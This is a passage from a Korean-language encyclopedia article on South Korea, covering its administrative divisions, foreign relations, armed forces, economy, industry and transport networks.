울산광역시 15 경상남도 12 전라북도 13 전라남도 대한민국의 전 지역은 1개의 특별시, 6개의 광역시, 8개의 도, 1개의 특별자치도, 1개의 특별자치시로 나뉜다. 이상 총 17개의 행정구역은 광역지방자치단체로 구분된다. 특별시는 구로, 광역시는 구와 군으로, 도는 시와 군으로 다시 나뉜다. 이상의 행정구역은 기초지방자치단체로 구분된다. 특별시와 6개 광역시에는 2008년 4월 기준으로 총 69개의 자치구가 설치되어 있다. 또한 6개 광역시와 8개 도에는 총 75개의 자치시와 82개의 군이 설치되어 있다.[27] 특별자치도는 자치시가 아닌 행정시를 둘 수 있으며, 행정시는 특별자치도지사 직속기관으로서 기초지방자치단체로서의 권한이 없다. 광역자치단체인 도 하위의 인구 50만 이상의 자치시에는 일반구를 둘 수 있는데, 일반구도 기초자치단체로서의 권한이 없기 때문에 특별시·광역시의 자치구와 구별된다. 시와 구(자치구, 일반구)는 읍·면·동으로, 군은 읍·면으로 나뉜다. 읍·면은 리로, 동은 통으로 나뉜다. 통 및 리는 말단 행정 구역인 반으로 나뉜다. 한편, 대한민국 헌법 제3조에는 "대한민국의 영토는 한반도와 그 부속도서로 한다."라고 명시되어 있다. 이는 대한민국을 한반도의 유일한 합법정부로 선언하는 성격을 가지고 있어, 조선민주주의인민공화국을 "영토고권을 침해하는 반국가단체"로 규정하는 근거가 된다.[28] 때문에 대한민국은 휴전선 이북 영토를 관할하는 이북5도위원회를 안전행정부 관할로 두어 형식상의 도지사와 시장, 군수 등을 선출하고 있다.(함경북도, 함경남도, 평안북도, 평안남도, 황해도, 미수복 강원도, 미수복 경기도 및 예하 시·군 관할) 대한민국 헌법의 관점으로 볼 때, 현재 대한민국의 최동단은 동해 상의 독도, 서단은 압록강의 비단섬, 남단은 제주도의 남쪽 바다에 위치한 마라도, 북단은 함경북도 온성군 부근이 된다.[28] 대한민국이 영유권을 주장하는 지역은 조선민주주의인민공화국이 실효지배중인 지역과 대한민국이 실효지배중인 지역과 거의 같으나 중화인민공화국이 실효 지배중인 백두산 천지 북부에 대하여 영유권을 주장하여 대한민국의 지도 상에 백두산 천지 전체를 대한민국의 영토로 표시하고 있다. 이밖에 러시아가 실효지배중인 녹둔도에 대하여 지도상으로는 표시하고 있지 않으나 영유권을 주장하고 있다. 외교 이 부분의 본문은 대한민국의 대외 관계입니다. 대한민국의 외교에 관한 업무는 외교부가 맡고 있다. 휴전선을 사이에 두고 이웃한 조선민주주의인민공화국과는 한국 전쟁을 겪은 뒤 적대적인 관계가 유지되었다. 김대중과 노무현 정부는 햇볕 정책, 곧 대북유화책을 시도했으나 차후 북한의 핵무기와 미사일 개발 등 대남 도발 행위로 인해 중단되었다. 이명박과 박근혜 정부는 연평도 도발, 천안함 폭침, 목함 지뢰 사건 등이 발생함과 동시에 대북 강경정책을 실시했고, 이에 따라 남북 관계가 상대적으로 경색되었다. 대한민국의 외교는 한국 전쟁에서 큰 역할을 담당하였던 미국과는 긴밀한 관계를 맺고 있다. 과거 한반도를 식민 통치하였던 일본과는 1965년 수교하였다. 대한민국은 현재 유엔 회원국 중 조선민주주의인민공화국, 마케도니아, 시리아, 쿠바 등 4개국과 외교 관계가 없으며, 이 중 조선민주주의인민공화국을 국가로 인정하지 않는다. 이외에 서사하라, 중화민국, 팔레스타인, 코소보 등도 외교 관계가 없다. 이 중 중화민국은 대한민국 정부 수립 때부터 수교국이었으나 1992년에 국교가 단절되었다. 그렇지만 현재 대한민국과 중화민국 양국은 양국 수도에 서로 대표부(타이베이 대표부)를 설치하여 운영중에 있고 상호간의 왕래와 민간교류는 자유롭다. 팔레스타인의 경우에는 대한민국이 팔레스타인에 대표부를 설치하여 운영중에 있다. 과거에는 통상에 관한 업무를 전문적으로 관장하기 위해 외교통상부 산하 통상교섭본부를 설치해 운영하였으나, 정부조직 개편에 따라 산업통상자원부로 이관되었다. 대한민국의 영토인 독도, 이어도 등에 대하여 이웃한 일본, 중화인민공화국이 각각 영유권을 주장하고 있다. 현재 대한민국은 유엔과 WTO, OECD, 그리고 G-20의 구성원이며 또한 APEC와 동아시아 정상회의의 창립 가맹국이며, 미국의 주요 비NATO 동맹국(MNNA)이다. 한편 2007년부터 2010년 상반기까지 해외에서 추방한 대한민국 국민이 2,111명으로 일본에서 제일 많았다.[29] 남북 관계 이 부분의 본문은 남북 관계입니다. 대한민국은 조선민주주의인민공화국의 수립 당시부터 현재까지 국가로 승인하지 않으며, 조선민주주의인민공화국 정부에 대하여 국제법상 교전단체의 지위만을 인정한다. 또한, 대한민국은 대한민국 헌법을 비롯한 국내법상 조선민주주의인민공화국이 차지하고 있는 지역 일체를 대한민국의 고유한 영토로 간주하고 있으며, 따라서 자국 영토를 불법적으로 점거하는 반국가단체로 본다. 국민의 정부 당시 최초의 남북정상회담이 개최되었으며 조선민주주의인민공화국과의 물자 교류는 참여정부 말까지 활발했으나 조선민주주의인민공화국의 대남 도발 등으로 인해 2013년 금강산 관광 산업, 개성공단까지 중지된 상태이였지만 남북회담을 통해 재가동하기로 했다. 그러나 2015년 이후 조선민주주의인민공화국이 계속해서 대남 도발, 핵 실험, 미사일 발사 등을 진행함에 따라 다시 중지되었다. 한미 관계 이명박 전 대통령과 부시 미 전 대통령이 함께한 모습 이 부분의 본문은 한미 관계입니다. 대한민국과 미국의 관계는 19세기 중반인 1871년 조선의 통상을 요구하던 제너럴셔먼호 사건으로 거슬러 올라간다. 그러나 당시 조선은 흥선대원군의 쇄국정책으로 완강히버티자 얼마버티지 못하고 돌아간다. 그 뒤 일본의 운요호 사건을 계기로 조선은 쇄국정책을 풀고 일본을 비롯한 세계열강과 통상조약을 맺게되자 미국은 1882년에 조선과 통상조약을 맺어 공식적으로 외교관계를 가지게 된다. 1897년에 고종이 대한제국을 선포할때 미국은 특사를 파견하여 축하해주기도했다. 그러나 이러한 관계는 1905년 을사조약 뒤부터 뒤틀어졌는데 당시 미국 제26대 대통령 시어도어 루스벨트의 딸인 엘리스 루스벨트가 미국을 대표하여 대한제국에 방문했을때 고종의 환대에도 없는 사람 취급하였고 고종의 아내였던 명성황후 무덤앞의 말조각상에서 앉아 사진을 찍는 무례함을 범했기 때문이다. 설상가상으로 1910년 일본제국의 대한제국 강제합병을 계기로 미국과의 외교관계가 단절된다. 1948년 대한민국은 미국의 원조로 민주 정부를 수립하였고 그 이래로 미국의 대량 원조를 통해 매우 광범위하게 발전하여 왔다. 미국은 한국 전쟁(1950년~1953년) 당시 유엔군을 조직하여 대한민국 편에서 참전하여 절대적인 역할을 하였고 휴전 이후에도 주한 미군이 계속 주둔하고 있고 대한민국은 주한미군에 의한 군사적 보호속에서 매우 긴밀한 동맹관계를 유지해 오고 있다. 제5공화국 때는 부산 미국문화원 방화사건도 있었고, 2000년대 들어서 주한미군 한강 독극물 무단 방류 사건, 미군 장갑차 여중생 압사 사건 등으로 일부 반미 감정이 고조되기도 하였다. 2007년 한미자유무역협정이 체결되었고 문서 공개 이후 한동안 상당한 논란에 휩싸였다. 이후 이명박 정부가 출범하면서 미국산 쇠고기 수입 협상 논란은 촛불 시위로 비화되어 2008년 미국산 쇠고기 수입 협상 논란을 겪었다. 한편 이명박 정부가 출범된 이후 한미 관계가 상당히 강화되었다. 현재 대한민국은 군사, 외교, 경제적으로 깊은 관계를 맺고 있다. 한일 관계 대한민국과 일본이 서로 영유권을 주장하고 있는 독도. 현재 대한민국이 실효 지배하고 있는 섬이다. 이 부분의 본문은 한일 관계입니다. 양국은 1965년 한일 협정을 통해 공식적인 외교 관계를 수립하였다. 양국 간에 역사 인식, 영토 등에 대한 갈등이 존재한다. 제2차 세계대전 당시의 전범들을 숭배하는 야스쿠니 신사 참배 문제나 독도 문제, 동해 명칭 문제, 일본군 위안부도 민감한 문제이다. 일본의 고이즈미 준이치로 내각과 아베 신조 내각 당시에는 한일 셔틀외교가 중단되는 등 양국관계가 멀어졌으나 아시아 외교를 중시하는 일본 후쿠다 야스오·하토야마 유키오 내각의 출범과 한일관계를 보다 중시하는 대한민국의 이명박 정부가 출범한 이후 관계가 개선과 악화를 반복하다가 일본 민주당 하토야마 유키오 총리가 취임하면서 한일관계가 강화되었다. 2002년에는 양국이 공동주관하여 한일 월드컵을 개최하기도 하였다. 2000년대에 들어서는 일본에서 한국 문화에 대한 선호도가 높아지면서 이른바 '한류 열풍'이 불어 양국간 교류가 많이 증진되었다. 그러나 역사·영토(독도) 문제 등 여러 부분에서 논란이 계속되고 있고, 일본이 집단자위권을 강화함으로써 양국 관계도 점차 경직되어가고 있다. 한중 관계 이 부분의 본문은 한중 관계 (1948년) 및 한중 관계 (1992년)입니다. 대한민국은 1948년 정부 수립 직후부터 중화민국과 외교 관계를 수립하였다. 1950년에 발발한 한국 전쟁에서 조선민주주의인민공화국을 지원한 중화인민공화국과는 적대 관계가 되었으며, 1992년까지 외교 관계를 맺지 않고 있었다. 그러나 대한민국은 중화인민공화국과 1992년 공식 수교하면서, 기존의 중화민국과 단교하여 오늘에 이르고 있다. 조선민주주의인민공화국과 관련된 여러 문제가 있는 와중에도 양국은 외교 관계를 이루고 있다. 2016년 주한 미군의 '고고도 미사일 방어 체계(THAAD)' 배치 추진과 미・중 무역 갈등 문제 등 국제 사회에서의 충돌로 인하여 한중 관계과 악화되고 있다. 한러 관계 이 부분의 본문은 한러 관계입니다. 러시아는 구 소비에트 연방의 법통을 이어받은 나라로, 자본주의와 공산주의 국가 간의 갈등이었던 동・서 냉전으로 인해 대한민국과는 적대적인 관계였으나 탈냉전 이후에 한소수교가 1990년에 전격적으로 이루어졌으며, 소련 붕괴 이후의 러시아와 경제, 문화, 우주기술협력, 군사(불곰사업) 등에서 밀접한 관계를 추진해나가기 시작했다. 하지만 녹둔도 문제를 포함해서 연해주 등 잠재된 영토 문제가 아직 남아있지만 남북분단으로 인해 가시화되지는 않았다. 대한민국의 위성인 나로호 발사도 러시아의 협조 하에 발사했다. 현재 12만 5000명의 고려인이 러시아에 거주하고 있다. 러시아와 한국은 대한항공, 아시아나항공, 아에로플로트 등 여러 항공사가 매일 운항하고 있다. 국방 이 부분의 본문은 대한민국 국군입니다. 대한민국은 조선민주주의인민공화국과의 대립으로 인해 일찍부터 군사력을 증강시켜 왔으며 1990년대까지는 양적 위주의 성장을 추진했으나, 2000년대 들어 새로운 무기 기술의 개발과 발달로 인해 질적 성장을 이루었다. 대한민국 국방부가 국군(國軍)이라고 불리는 대한민국의 군을 지휘하고 있다. 2013년 7월 기준 병력 규모는 현역이 약 670,000명으로 세계 6위, 대한민국 예비군은 약 3,200,000명으로 세계 5위이다.[30] 세계에서 11번째로 탄도미사일을 독자 개발했다.[31] 대한민국 국군의 경우 여군은 기갑, 포병, 잠수함 병과에는 진출할 수 없었으나 2014년 9월 창군이래 최초 여군 포병장교가 탄생하였고 기갑병과에도 여군이 진출함에 따라 다양한 병과에서 여군들이 활약하고 있다. [32] 육군 K1 전차 이 부분의 본문은 대한민국 육군입니다. 대한민국 육군은 병력 약 520,000명, 전차 약 2,300대, 장갑차 약 2,500대, 견인포/자주포/다연장 로켓포 약 5,200문, 유도무기 30기, 헬기 600기를 보유하고 있다.[33] 현재 국방과학연구소(ADD)는 전차[34] K2 전차(K2 흑표, Black Panther)를 개발했다. K-2 전차는 2014년 대한민국 육군에 정식으로 배치된다. K-21 전투장갑차는 2012년경 전력화하였고 복합형 소총인 K-11 소총을 운용하고 있다.[35] 2012년 1월 육군에는 현재 39개 사단(전방 기계화보병사단 6개[36], 그 외 상비 사단 16개, 향토 방위 12개, 동원 예비군 5개)으로 이루어져 있다. 그 외 해군 예하 해병대 2개 사단이 있다. 2020년까지 1군사령부와 3군사령부를 지상작전사령부로 통합하며, 5개의 지역군단(수도방위사령부도 지역군단으로 함)과 2개의 기동군단으로 개편하고, 향토사단 자체는 존치하며, 동원사단은 4개로 줄이고 전 부대를 기계화부대로 편성한다. 병사들의 개인화기 및 개인장비, 피복을 개선시키는 중이다. 전투력 향상을 위해 고글+무릎(팔꿈치)보호대+장갑+방탄복+야간 야시장비+스코프+도트사이트+광학장비를 지급하고 보병장비, 개인장비, 장구류, 군장이 늘어나고 저격소총, 옵션장비 ,사격장, 1인당 교탄증가가 되었다. 소대장이 항공근접지원을 직접 유도할 수 있고 병사들은 무인 항공기를 수시로 띄울 수 있다. 시가전 능력을 향상시키기 위해 신속대응 훈련과 CQB 훈련과 시가전 훈련을 자주 진행 중이다. 실전 훈련처럼 진행한다. 현대전에 맞추기 위해 육군 전 부대 대대급 현대화가 진행 중이다. 저격수, 정찰 저격수들을 육군 전 부대(소대급)에서 양성중이다. 저격수 학교를 창설한다. 저격수 규범은 미국 저격수 규범과 똑같은 저격수 교범을 채택하였다. 공군 대한민국 공군의 주력 기체 중 하나인 F-15K 이 부분의 본문은 대한민국 공군입니다. 대한민국 공군의 장비는 F-15K 60대, KF-16 (Block 52+) 134대와 F-16C/D (Block 52+) (PB형) 35여대, F-4E 80대 (퇴역 중), KF-5E/F (제공호)와 F-5E (타이거 II) 195대, T-103 러시아제 훈련기 IL-103 72대, KT-1 기본 훈련기 105대, KA-1 전선항공통제기/경공격기 20대, T-50 고등 훈련기 60대+98대 생산 확정, T-50B (블랙 이글스) 10대를 보유 중이며, TA-50 전술입문기 (LIFT) 22대를 운용 중이고 KF-16에 버금가는 다목적 전투기인 FA-50 60~120대를 도입 중에 있다. F-4E, KF-5E/F (제공호)와 F-5E (타이거 II)등은 지속적으로 도태되고 있어서 F-5E (타이거 II), KF-5E/F (제공호)는 FA-50 60대로 대체되고, F-4E는 F-35A로 대체되며 T-103 훈련기 72대 역시 기체 노후화로 한국항공우주산업이 개발한 KC-100 나라온으로 대체된다. 수송기는 전략 전술 수송기인 C-130J-30 4대 C-130H 12대, CN-235-220M 18대가 있으며 VIP 수송용으로 대한항공에서 임차한 보잉 747-400 1대를 비롯해 보잉 737-300 1대, VCN-235 2대, VC-118 1대, BAe-748 2대가 있다. 정찰기로는 호커800기를 개조한 금강정찰기와 백두정찰기, RF-4C 18대, RKF-16 5대를 보유, 운용하고 있으며, 공중 조기 경보 통제기 보잉 E-737 피스아이 4대를 운용 중이며 회전익 항공기 (헬기)는 구조.탐색용인 HH-60 페이브호크, HH-47 치누크, 카모프 Ka-32가 있으며 병력 수송용인 벨 205, 212, 412, UH-60 블랙호크 등이 있다. 이외에도 VIP 수송용인 VH-92, VH-60, AS-362 '수퍼퓨마'가 있다. 또한 공군은 국산 헬기인 수리온을 2기 주문하였다. 사병들의 전투력 향상을 위해 소화기 실탄 사격장 및 1인당 실탄사격 훈련의 내실화와 사병들의 개인 장비도 지속적으로 개선하고 있다. 공군 전력사업 중에서 가장 큰 규모의 사업인 한국형 전투기 사업인 KF-X 사업과 차기 대통령전용기 사업인 VC-X사업, 원격지원전자전기 사업, 스텔스 무인 전투기(UCAV)의 개발 및 사업을 진행 중이며 최근 KC-X 사업의 최종 후보로 에어버스 A330 MRTT가 선정, 4대 구매를 체결하였다. 해군 림팩 2006 훈련에 참가중인 DDH-976 문무대왕함 이 부분의 본문은 대한민국 해군입니다. 대한민국 해군(예하 해병대 포함)은 병력 약 68,000명, 잠수함 약 20 척, 전투함정 약 140 척, 지원함정 20 척, 대잠헬기 및 해상초계기 50 대를 보유하고 있고 차기 군함들을 비롯해 모든 군함들은 선체 전체에 광범위하게 스텔스 설계를 적용하고 레이다 반사율을 줄이기 위해 경사설계를 적용한다.[37] 총 3개 함대와 4개 전단을 두고 있다. 해병대 한 대한민국 해병대원이 강습 훈련을 하고 있다. 이 부분의 본문은 대한민국 해병대입니다. 대한민국 해병대는 대한민국 해군 예하에 편성되어 있는 군으로서 국가 전략 기동군으로서 해병대는 상륙작전을 수행한다. 대한민국 해군(예하 해병대 포함)은 병력 약 69,000명, 잠수함 약 20 척, 전투함정 약 140척, 지원함정 20척, 헬기/해상초계기 약 50대, K1A1 전차와 K9 자주포, 상륙돌격장갑차(KAAVP7A1) 등의 기갑 차량, 상륙 장비를 보유하고 있다.[37] 대한민국 해병대는 1949년 4월 15일 경상남도 진해시에서 초대 지휘관에 신현준 중령이 임명되고, 해군 장교 26명, 부사관 54명, 병 300명으로 창설되었다. 해군 예하의 국가 전략기동군으로서 상륙 작전을 주임무로 하며, 그 외 김포, 강화, 포항, 경주, 진해, 제주, 도서지역 등 방어, 상륙작전을 하고, 예비군 교육 및 훈련 등의 임무도 수행한다. 2014년 기준으로, 2개 사단과 1개 여단을 보유하고 있고, 이외에도 연평도와 진해, 제주도 및 기타 여러 도서 지역들에도 해병 부대들을 주둔시키고 있다. 경제 이 부분의 본문은 대한민국의 경제입니다. 개관 한국종합무역센터(트레이드 타워)의 모습 한강과 반포교, 여의도의 63빌딩은 서울과 한강의 랜드마크들이다. 대한민국의 국내총생산 그래프 대한민국은 기본적으로 자유민주주의 시장경제 체제를 유지하고 있으며, 혼합자본주의 체재를 택하고 있다. 한국의 경제 발전은 이승만 정권의 경제관료 양성으로 시작되었다. 이후 4.19 혁명으로 세워진 장면 정권에 의해 기존에 양성된 경제관료를 중심으로 경제 개발 계획이 준비되었으나 5·16 군사정변 발발로 실행되지 못했다. 1960년대 박정희 정부의 주도로 경제 개발 계획을 성실히 수행하였으며, 경공업 육성을 통해 본격적인 산업화를 시작했다. 1973년 이후 박정희 정부의 중화학공업 발전 정책으로 철강, 전자, 조선 산업 등이 크게 발달하며 수출을 증대 시키고 국가 경제를 매우 빠른 속도로 성장 시켰다. 1980년대 전두환 정부 때에는 3저호황과 중화학공업 과잉 투자 조정으로 하여금 세계적인 수준의 공업국가로 올라섰다. .[38] 1960~80년대 고속 경제 성장으로 한때 중화민국, 홍콩, 싱가포르와 함께 '아시아의 네 마리 호랑이(혹은 아시아의 네 마리 용)'로 불렸으며, 1994년에는 사상 처음으로 국민소득 1만 달러를 넘어섰다. 1997년에는 외환위기로 IMF 구제금융사건을 겪었으나, 2년 만에 상당부분 회복했으며 김대중 정부는 이를 해결했음을 선언했다. 그러나 대량 해고, 청년 실직자 문제, 니트족 현상 등의 부작용이 함께 나타났다. 그 후 노무현 정부의 꾸준한 경제 개혁을 통해 2007년까지 매년 백억 달러 이상의 경상흑자와 평균 4%대의 경제발전을 이루어 명목 국민소득 2만 달러, 실질 국민소득 2만 5천 달러를 이루었다. 2015년 현재 국제통화기금(IMF)이 발표한 자료에 따르면 한국의 PPP기준 1인당 국내총생산은 3만 6,601달러이며 이것은 세계 29위 수준이다.[39] 2007년 골드만삭스는 대한민국이 2050년, 브릭스+넥스트 일레븐+G7 1인당 명목 GDP가 90,294 달러가 되어 91,683달러인 미국에 이어 주요 경제국 중 2위에 오를 것이라고 전망하기도 했다.[40] 대한민국은 자본력이 부족한 환경에 따라 독특한 형태의 경제발전을 진행시켜 왔는데, 박정희 당시 계획경제체제를 시행, 수출을 통한 성장을 목적으로, 자본 및 기술적 기반이 약한 중소기업보다는 재벌기업이 주류인 대기업을 축으로 하는 기업경제구조를 세웠으며, 천연 자원이 절대적으로 부족해 가공무역을 핵심으로 삼은 수출주도형 경제성장정책을 도입하였다. 그 결과, 수출과 수입에 많이 의존하는 편이며,[41] 주요 무역 상대국은 중화인민공화국, 미국, 일본, 중화민국, 독일, 영국, 인도네시아, 말레이시아 등이다. 반도체 세계 1위 삼성을 비롯하여 1983년부터 세계 조선 1위를 지켜오고 있는 현대, 백색가전의 LG, 세계 철강 4위인 포스코 등의 여러 기업 집단을 가지고 있으며 포춘지 선정 세계 500대 기업 중 17개가 대한민국 기업이다.[42] 대한민국의 대부분의 상장기업에는 개인지배주주가 존재한다. 반면에 기업발전에 따른 외부자본조달로 지배주주의 지분율 하락이 불가피한 가운데 지배주주와 소수주주간 이해상충문제가 심각한 편이다. 대한민국 경제의 중요한 부분을 차지하는 대규모기업집단의 경우 지배구조가 계열사간 피라미드 및 순환식 소유구조에 의해 경영권을 확보하고 있으나, 이는 현금권과 통제권 간의 상당한 괴리를 가져와 기업가치에 부정적 영향을 미치는 문제를 안고 있다. 경영권 행사에 따른 사적 경영권 혜택이 과도하여 기업이 망하지 않는 한 경영권 교체가 이루어지지 않는 비효율적 산업구조는 대한민국 경제의 치명적 약점으로 지적되고 있다. 1990년대 이후 대한민국 내의 노동자의 임금이 상승하자 기업들은 임금이 싼 해외로 공장을 이전하기 시작하였다. 특히 중화인민공화국에 진출해있는 대한민국 기업이 많으며, 베트남, 태국, 인도네시아 등 동남아시아에도 많이 진출해 있다. 최근에 중앙유럽 국가들이 유럽 연합(EU)에 가입하여 관세가 철폐되면서 중앙유럽으로 진출하는 기업들도 늘고 있다. 조선민주주의인민공화국의 개방이 가속화되면서 개성공단에 입주하는 기업도 늘어났으나, 조선민주주의인민공화국의 대남 도발로 인한 남북 관계 경색으로 가동이 전면 중단된 상태이다. 부채 대한민국의 가계부채는 1999년 ~ 2001년 급증, 2002년 ~ 2004년 감소, 다시 2005년 ~ 2007년 까지 급증, 이후 2008년 금융 위기로 그 증가세가 지속되어 2011년 처음으로 가구당 가계부채가 5000만원을 넘어섰다. 이는 자산 증가보다 부채 증가가 더 빨라짐에 따라 빚을 갚을 능력이 악화됐기 때문이다.[43][44] 특히 소득이 적을수록 부채상환 능력이 크게 떨어졌는데, 2010년 소득 하위 20%의 가처분소득 대비 부채비율이 2009년 보다 68.2% 급증한 279.5%에 이르러 소득의 3배에 달하였다. 이는 소득이 적은 20, 30대 가구와 저소득층의 재무건전성 악화를 보여주고있다.[44] 이는 저축은행들이 건설업체의 잇따른 부도로 프로젝트 파이낸싱(PF) 대출이 부실해지면서 금리가 높은 가계대출 비중을 늘림과 더불어[45] 전월세값을 포함한 물가의 급등과 교육비 지출에 따른 ‘생계형 대출’이 증가하였기 때문이다.[44] 축소된 가계부채 상환 능력에 대하여 이명박 정부는 고소득층의 가계 빚이 가계부채의 70% 가량을 차지하고 있으므로 빚을 갚을 능력이 양호하며 자산불평등도 외국에 비해 낮다는 것을 이유로 당장 한국 경제에 부담이 될 가능성이 낮다는 반응을 보이고 있다. 그러나 20, 30대와 저소득층의 가계부실이 본격화되면 미국이나 유럽처럼 '가계부채 대란'이 현실로 나타날 수 있다는 지적도 나오고 있는 실정이다.[44] 정부와 공기업의 공공부분 부채는 2011년 3분기 말 한국은행이 파악한 것만 789조 3600억 원으로 1년 만에 9.2% 급증했으며 이중 공기업의 부채는 1년 만에 14.4%나 급증한 363조 8000억 원으로 집계됐다. 공기업 부채가 크게 늘어난 것은 정부가 보금자리 주택이나 4대강 공사 등 국책 사업에 필요한 자금을 공사채 발행 등으로 마련한 결과로 보고있다.[46] 소득 양극화 지수는 2003년 기준으로 증가세가 2006년 2.12%, 2008년 2.05%, 2010년 0.89%로 계속 증가하고 있으나 조금 둔화되는 모습을 보였다.[47] 소득 불평등도를 나타내는 지니 계수는 2003년 기준으로 증가세가 2009년 5.65%, 2010년 2.73%으로 계속 높게 나타났다.[47] 공적연금 지출은 30개국 중 29위, 여성 경제활동 참가율은 30개국 중 30위로 나타났다.[48] 산업 농업 1960년대까지의 대한민국의 주요 산업은 농업에 의존하였다. 1963년 이후 집권한 박정희는 공업화, 산업화 정책을 추진하였고 농업인구는 격감하여 1970년 1천4백42만 명으로 전체인구의 44.7%였고, 2010년 기준 한국의 농업인구는 3백2만1천명으로 전체 인구의 7.5%를 차지, 10% 아래로 떨어졌다. 이와 함께 농업인구의 고령화 까지 진행되면서 나중에 식량위기가 올 가능성이 제기되고 있다. 하이닉스의 DRAM. 2008년도 제2사분기의 시장 점유율 조사에 따르면 삼성과 하이닉스가 각각 1, 2위를 차지했다.[49] 공업 대한민국의 공업은 중급수준의 기술을 요하는 산업들에 특화되었고, 주요 산업으로는 조선, 전자, 자동차, 반도체 등이 있다. 특히 조선 산업은 2008년 기준 세계 전체 점유율의 절반을 넘어섰으며[50], 전자 산업은 삼성전자와 LG전자가 있다. 자동차 생산력은 세계 5위[51] 이며, 현대자동차와 기아자동차가 수출을 주도하고 있다.[52] 최근 로봇, 친환경 에너지 등의 미래형 산업에 대한 투자와 지원 또한 늘리고 있다. 반면, 국가경제 발전수준에 비해 서비스업이 국가경제에서 차지하는 비중은 매우 낮은 편이며, 발달수준도 미흡한 편이다. 현재 대한민국의 경제는 삼성, 현대자동차와 같은 재벌 대기업에 상당히 의존하고 있는 편이다. 한국 공업의 역사는 정확하지 않으나 고대부터 제철, 제련 공업이 발달하였다. 구한말과 일제 강점기에는 일본 제국의 경제적 수탈을 목적으로 근대적인 공업 시설이 건립되었고, 일본의 자본이 한국에 유입되었다. 일본 자본의 유입에 맞서 국채 보상 운동이 자발적으로 확산되었고 1920년대에는 김성수는 자본을 투자하여 경성방직, 경성직류 등 방직과 면 공업을 육성하여 민족자본을 형성하기도 하였다. 1923년부터는 조만식, 안재홍, 김성수 등에 의해 물산 장려 운동이 진행되어 국산 공업품을 활용하자는 운동이 일어나기도 하였다. 그러나 일본의 대륙 침략을 위한 군수 공업으로 일변화 된 한국의 공업은 정상적으로 성장할 수 없었다. 광복 이후에도 한국의 공업 수준은 미미했으나, 1960년대 이후 출범한 제3공화국 정권은 경제성장의 기반으로 공업화 정책을 추진하였다. 이후 60년대에는 수공업, 수제품 공업, 기술, 근로자 파견 위주로 진행되었고, 식료품과 담배, 섬유 공업을 기반으로 하는 수입 대체 산업이 발달하였다. 70년대에는 중화학 공업, 제조업, 수출 위주의 공업정책이 진행되었다. 1980년대 이르러 섬유, 의류 산업뿐 아니라 전자 제품, 건설, 중화학 공업이 발달하게 되었다. 동반 성장 대한민국의 골목 상권은 정부가 개입, 규제하지 않는 시장경제를 채택하였고 군사정권 몰락 이후 이러한 시장경제 체제가 대폭 확산되고 있다. 따라서 기업형 슈퍼마켓(SSM), 빵집 등, 프랜차이즈와 대기업의 다양한 분야 시장 독과점화가 진행되고 있다는 지적도 있다. 이에 따라 정부는 2010년 동반성장위원회를 출범시키고[53], 중소기업적합업종을 선정[54], 대통령이 직접 언급 하는[55] 등 제재가 가해지고 있다. 이에 일부 대기업이 속속 사업에서 철수하는 모습을 보이고 있으나[56] 기업형 슈퍼마켓 기업은 중소 업체를 사들이는 등 여전히 많은 대기업은 몸집을 불려나가고 있다는 지적도 있다.[57] 교통 이 부분의 본문은 대한민국의 교통입니다. 고속도로 노선도 육상 교통 도로 국도 제35호선 우회도로 대한민국의 일반 국도, 대한민국의 고속도로, 대한민국의 도로 문서를 참고하십시오. 대한민국에는 우측 통행을 하며, 자동차 운전석은 왼쪽에 있다. 4,000km에 달하는 31개의 고속도로 및 국도, 지방도 등의 도로가 있어 대한민국의 교통을 담당하고 있다. 현재 경부고속도로는 노선의 일부[58] 이며 국도 제7호선은 노선의 일부이다. 1990년대 이후 민간 자본을 투자한 민자 고속도로와 민자 역사 시설 운영도 진행되고 있는 한편, 공기업 형태의 도로교통공단이 기타 도로·철도 시설의 안전을 관리하고 있다.[출처 필요] 버스 메트로버스 200번 대형차량 (현재 폐선) 전국적으로 버스의 하루 평균 이용객 수는 1462만명이다. 과거에는 현금과 함께 회수권과 토큰을 사용했으나 최근에는 교통카드를 이용하는 지역이 대부분이며 현금도 대부분 사용 가능하나 환승 혜택이 없다. 또한 교통카드를 통한 환승 할인 혜택 등으로 사용자를 유도하는 중이다. 또한 이를 통한 도시철도와의 연계를 목적으로 수도권의 버스 노선 체계는 이명박 전 서울시장을 중심으로 완전히 재편되었고 수도권 통합요금제가 수립되게 되었다. 현재 버스 체계는 크게 시내버스와 시외버스로 나눌수 있으며 시내버스 특정 지역의 면허에 귀속된다. 또한 비교적 작은 지역에서의 운행을 위한 마을버스도 부산, 서울, 경기도 등에서 운행되는 중이다. 시내버스의 경우 시계를 넘어서면 시계 추가 요금이 부과되며 서울, 경기도, 인천의 시내버스는 거리에 따른 추가 요금이 부과된다. 시외버스는 시외버스터미널이나 시외버스정거장에서 주로 승하차가 이루어지며 대부분 교통카드를 사용할 수 없지만 가끔씩 사용 가능한 노선도 있다. 현재 대한민국의 버스 회사 중에서는 KD그룹이 가장 규모가 크며 대한민국내 여객용 버스의 10%를 소유하고 있으며 경기도 노선의 절반을 관리한다. 또한 현재 자가용 이용자들을 대중교통으로 유도하기 위해 버스전용차로제를 도입했다. 최근에는 장애인들을 배려하기 위하여 저상버스를 도입하는 자치 단체들이 생기고 있으며 수도권의 도심 지역의 혼란이 극심한 대한민국의 상황에 걸맞은 굴절버스를 수도권 일부 지역에서 도입하였으나 대부분 비용 문제 등으로 취소되었다. 철도 한국철도공사는 시속 300km의 KTX 열차를 도입하였다. 대한민국의 철도 문서를 참고하십시오. 대한민국의 철도 및 광역전철의 총 연장 길이는 3,000km에 달한다. 이러한 대한민국의 철도시설은 1963년 9월 1일 교통부 산하에 철도청을 신설하여 이때부터 국가가 체계적으로 관리하였으나 2005년에는 기업체로 전환하여, 공기업의 형태인 한국철도공사와 한국철도시설공단에서 국유 철도를 관리하고 있다. 특히 경의선 철도는 평부선·평의선과 시베리아 횡단철도와의 연결을 추진하고 있다.[59] 대한민국의 대표적인 철도선에는 경부선, 호남선, 중앙선, 장항선, 경전선, 경춘선, 충북선, 그리고 전라선이 있다. 또 2016년 12월에는 한국철도공사가 자본을 출자하여 설립된 민간기업 SR에서 운행하는 SRT가 개통되며 철도경쟁시대가 도래했다. 대한민국의 도시철도는 수도권지역과 부산지역, 대구광역시, 대전광역시, 광주광역시 등에서 운행되고 있다. 시내를 운행하는 도시철도를 일컬어 '지하철' 또는 '전철' 등으로 부르기도 한다. 1974년 8월 15일 처음으로 개통된 수도권지역은 1~9호선과 분당선, 중앙선, 경의선, 경춘선, 인천 1호선, 인천국제공항철도, 신분당선, 수인선, 용인경전철, 의정부경전철 까지 총 19개 노선이 운행되고 있으며 전국에서 가장 규모가 크다. 기본요금은 평균적으로 교통카드 이용시 최초 10km까지 1050원, 그이후 